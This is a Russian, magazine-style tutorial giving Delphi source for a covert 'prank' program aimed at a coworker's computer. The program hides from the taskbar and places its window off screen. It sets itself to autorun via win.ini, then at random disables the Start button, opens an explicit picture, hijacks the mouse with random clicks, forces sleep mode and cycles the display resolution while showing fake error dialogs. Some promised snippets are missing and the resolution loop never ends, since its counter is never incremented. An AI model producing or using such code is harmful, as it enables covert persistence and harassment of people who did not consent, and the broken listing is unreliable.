Сегодня, как ты догадался, нам предстоит закодить прогу-прикол. Поэтому запасись пивом и фисташками, чтобы подготовить свой мозг к принятию новой инфы. Эту прогу я решил сделать несколько отличной от типичных "образцов" жанра, но показать при этом возможности большинства прог, что я видел (и не видел) в инете. Наше произведение при первом запуске будет обеспечивать себе постоянную автозагрузку (зачем лишний раз напрягать юзера запуском?), не будет особо заметна для жертвы (только по Ctrl-Alt-Del) а прикалываться- много, часто и по разному :)
Так что я прекращаю базарить и перехожу к кодингу, поэтому изволь запустить Delphi :)
Для начала обеспечим себе невидимость. Ведь наша жертва должна полагать, что ее мучают багипроклятого MD, а не злобные приколы коллеги по отделу :) Поэтому делай project--> view source и убивай в появившемся окошке все после {$R *.RES}. Заместо этой ботвы вдолби следующее:
var
ExtendedStyle : integer;
begin
Application.Initialize;
ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
ExtendedStyle or WS_EX_TOOLWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Это даст нам невидимость в таскбаре (или, как говорит одна моя знакомая, на панели задач :)). Теперь иди в свойства формы (object inspector) и меняй Left и Top на -200. Можно и больше (-31337, например ;)), в зависимости от размеров формы. Это такой хитрый финт, чтобы главное окно проги оказалось за пределами видимости юзера. Можешь теперь запустить прогу и убедиться в ее незаметности.
AUTORUN
Создавай для формы событие OnCreate (object inspector--> вкладка events) и выжигай там письмена:
var win: TIniFile; //Добавь к Uses еще и IniFiles, а то работать не будет
pres: string;
begin
Win:= TIniFile.Create('win.ini');
Win.ReadString ('windows','run',pres); //Поглядим, что там из win.ini запускается
IF pres<> application.ExeName then //Если не мы, то...
win.WriteString('windows','run',application.ExeName); //Теперь будем мы
Win.Free; //все
RaNdOmIzE; //инициализация генератора случайных(псевдо:)) чисел. Потом пригодится.
Это, как ты понял, давно всеми забытый способ автозагрузки- из win.ini. Но не бойся, я так сделал не из-за большой любви к win 3.11, просто оригинальности захотелось :)
CODUS PRICOLIZMUS
Кидай на форму три таймера (вкладка system палитры компонент). Для двух последних выставляй свойство enabled в false (отключай их, то есть), а вот первый таймер бери за жабры и делай ему нужный interval. Это будет частота, с которой наша прога будет выкидывать разные фортели. Создай этому таймеру событие OnTimer (посредством даблклика :)) и объяви там в разделе var переменную pricol типа integer. Этой переменной мы затем будем присваивать случайно значение (помнишь randomize?), и затем выкидывать разные приколы в зависимости от этого значения. Всего приколов будет пять, поэтому пиши:
procedure TForm1.Timer1Timer(Sender: TObject);
Var Pricol: integer;
begin
pricol:= random (5);
... //вот здесь будет все нижеописанное :)
end;
PRICOL №0- ЗАКРЫВАЕМ КНОПКУ "ПУСК"
С 1995 года кнопку "пуск" отменяли, закрывали, меняли на ней надпись и заставляли бегать по экрану тысячами способов. А все потому что она- всего лишь кнопка на окошке под названием "панель задач". И мы знаем класс этого окошка (Shell_TrayWnd). Поэтому все это в нашей, кодерской, власти! Долой "пуск":
IF pricol= 0 then
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0, 'Button', Nil), false);
end;
...И если на нашей рулетке выпадет зеро, то вместо пуска будет зиять черный квадрат Малевича. Вернуть ее можно так:
Представь себе ситуацию. Сидит твой друг за служебным компом и рассказывает о платонической любви и непорочном зачатии ;) Как вдруг выскакивает окошко Internet Explorer с весьма, хм, содержательной картинкой. Реакцию публики представить нетрудно. А делать будем вот так:
IF pricol= 1 then
begin
WinExec ('IEXPLORE.EXE c:\windows\pic.jpg',1);
end;
А если не хочешь показывать свой шедевр в эксплорере, то делай:
И картинка окажется натянутой на десктоп. Ну разве не круто? Только не говори потом, что я подучил :) Сын за отца не отвечает =)
PRICOL №2- БЕЗБАШЕННАЯ МЫШКА
Как тебе понравится, если вдруг мышка начнет "вырываться из рук" и давить куда попало? Я думаю, если твой "друг" уже прочитал нашу статью, то скоро у тебя будет шанс проверить это на своей шкуре :) Потому что злобный приятель напишет следующее:
IF pricol= 2 then
begin
num:=1; //не забудь ее объявить в голбальных переменных!
//Это наш счетчик. Не может же мышка дергаться вечно ;)
Timer2.enabled:= TRUE; //передаем эстафету второму таймеру
Timer1.enabled:= FALSE;
end;
А в обработчик OnTimer второго таймера он набьет:
procedure TForm1.Timer2Timer(Sender: TObject);
var PXY: TPoint; //переменная координат
NewX,NewY,rw: integer; //координаты
begin
rw:= random (2); //кинем монетку :)
GetCursorPos (pxy); //Текущая позиция курсора
//Случайным образом изменим координату X
IF rw= 0 then NewX:= PXY.X+random(200) else NewX:= PXY.X-random(200);
IF rw= 1 then NewY:= PXY.Y+random(200) else NewY:= PXY.Y-random(200); //и Y тоже
SetCursorPos (NewX,NewY); //установим курсор в новые координаты
//имитируем нажатие левой кнопки
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, NewX, NewY,0,0);
//..и ее отпускание
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, NewX, NewY,0,0);
Inc (num); // Увеличим счетчик безумств
IF num= 150 then //похоже, пора завязывать
begin
Timer1.enabled:= TRUE; //Отдаем управление основному таймеру
Timer2.enabled:= FALSE;
end;
end;
Так что постарайся опередить своего друга-приколиста :) Обмани ближнего своего, ибо ближний обманет тебя и возрадуется /Библия Приколиста/. :)
PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!
Для начала кинь на свою форму какую- нибудь картинку (лучше- фотку предполагаемой жертвы), потому как нам придется показать окно программы. Не просто так, конечно, а с подвохом:
IF pricol= 3 then
begin
form1.Position:= poScreenCenter; //Выносим главное окно в центр экрана
MessageDlg ('Слышь, баклан! Ты че-то засиделся. Я уже спать хочу!',mtInformation,[mbOK],0);
form1.position:= poDesigned;// Вернемся ЗА КРАЙ :)
SetSystemPowerState (true,true); // Уходим в спячку (sleep-mode)
end;
Выглядит это достаточно эффектно, поэтому подумай сначала, надо ли себя так афишировать. А то у меня один приятель подумал что к нему на комп попал злобный вирус и тут же купил лицензию на AVP (!). А когда он не помог, просто форматнул себе винт :)
Да, и еще: функция SetSystemPowerState не работает в Win2k и NT. Поэтому не шуми и не заваливай меня письмами по этому поводу :)
PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!
На самом деле я не хотел писать про этот прикол. Потому что ничего о нем не знал :) Но сегодня я наткнулся в инете на прогу, которая несколько раз меняет разрешение экрана и при этом выдает дурацкие сообщения об ошибках. Не знаю, прикольно это или нет, но мне захотелось описать тебе ее работу. Пиши (сколько раз я уже сказал это слово:)) все в тот же первый таймер:
IF pricol= 4 then
begin
num:=1; //Старый добрый счетчик. Теперь- количество смен разрешения
Timer3.enabled:= TRUE; //передаем эстафету третьему таймеру
Timer1.enabled:= FALSE;
end;
А в OnTimer третьего таймера вот этот могучий текст:
procedure TForm1.Timer3Timer(Sender: TObject);
var
dm : TDEVMODE;
x: array [1..3] Of integer;
y: array [1..3] Of integer;
x1,y1,n: integer;
begin
//Объявляем доступные разрешения
x[1]:= 640; y[1]:= 480;
x[2]:= 800; y[2]:= 600;
x[3]:= 1024; y[3]:= 768;
//Ok
n:= random (3);// случайно выбираем
x1:= x[n+1]; //...ширину
y1:= y[n+1]; //...высоту
{Устанавливаем}
ZeroMemory(@dm, sizeof(TDEVMODE));
dm.dmSize := sizeof(TDEVMODE);
dm.dmPelsWidth := x1;
dm.dmPelsHeight := y1;
dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
ChangeDisplaySettings(dm, 0);
IF num= 10 then
begin
Timer1.enabled:= TRUE;
Timer3.enabled:= FALSE;
end;
MessageDlg ('Could not initalize video driver'#13#10'Please, restart windows!',
mtError,[mbOk],0);
//идиотское сообщение об ошибке ;)
{Вте!}
end;
END OF THE WORLD
Ну вот мы и написали полноценную пограмму-прикол. Это оказалось совсем не сложно, и это при том, что прога вышла понавороченнее многих своих собратьев :) Не забудь скачать исходник, он слегка отличается от описанного мной. Удачи!